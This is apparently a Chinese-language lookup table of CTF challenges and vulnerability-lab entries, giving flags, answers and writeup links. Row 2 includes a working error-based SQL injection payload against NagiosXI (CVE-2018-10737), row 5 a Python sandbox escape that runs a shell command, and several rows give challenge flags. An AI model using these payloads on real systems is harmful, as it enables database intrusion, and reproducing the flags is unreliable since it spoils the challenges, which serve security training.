[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | NSSCTF | PDF隐写 | [NSSRound#12 Basic]坏东西 | NSSCTF{25da50b7993c0db55867a5a51f32f35c} | https://www.cnblogs.com/start1/p/18600732 | NSSRound#12 | 11353 |
| 2 | vulfocus | WEB | nagiosxi SQL注入 （CVE-2018-10737） | NagiosXI <= 5.4.12 存在 SQL 注入漏洞（CVE-2018-10737），攻击者可通过 admin/logbook.php 的 txtSearch 参数执行任意 SQL 命令。受影响版本为 5.2.x 和 5.4.x（<5.4.13），修复方法为升级至 5.4.13 或以上版本。漏洞 PoC 示例为： POST /nagiosql/admin/logbook.php txtSearch=-1%' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 验证后的网址为：https://www.seebug.org/vuldb/ssvid-97267 | https://www.seebug.org/vuldb/ssvid-97267 | - | 16622 |
| 3 | XCTF | MISC | Misc文件类型 | flag{0bec0ad3da2113c70e50fd5617b8e7f9} | https://www.cnblogs.com/Sul1mu/p/1772... | 贵州贵阳 | 9021 |
| 4 | NSSCTF | CRYPTO | [第五空间 2022]5_vgcd | 无 | https://blog.csdn.net/qq_51999772/art... | 第五空间 | 12780 |
| 5 | NSSCTF | JAIL | [HNCTF 2022 Week1]python2 input(JAIL) | import("os").system("cat flag") | https://www.woodwhale.cn/hnctfj-ail-a... | HNCTF | 11010 |
| 6 | NSSCTF | 凯撒密码 | [MoeCTF 2021]OldButPopular | flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free} | https://blog.csdn.net/orchid_sea/arti... | MoeCTF | 11028 |
| 7 | NSSCTF | Tacahe | [CISCN 2022 华东北]bigduck | 无 | https://cloud.tencent.com/developer/a... | CISCN | 11411 |
| 8 | BUUCTF | Reverse | [INSHack2017]secure-garden-shed-v1 | [INSHack2017]secure-garden-shed-v1的解题过程描述在网页3中，其答案需通过动态调试和字符串搜索获取，但具体flag未直接展示。验证后的网址为：https://www.cnblogs.com/harmonica11/p/13545052.html | ... | INSHack2017 | 6900 |
| 9 | vulfocus | WEB | zabbix 命令注入 （CVE-2017-2824） | - | 登录 https://vulfocus.cn 搜索zabbix... | - | 16534 |
| 10 | vulfocus | WEB | solr 文件删除 | 无 | https://cloud.tencent.com/developer/a... | - | 16715 |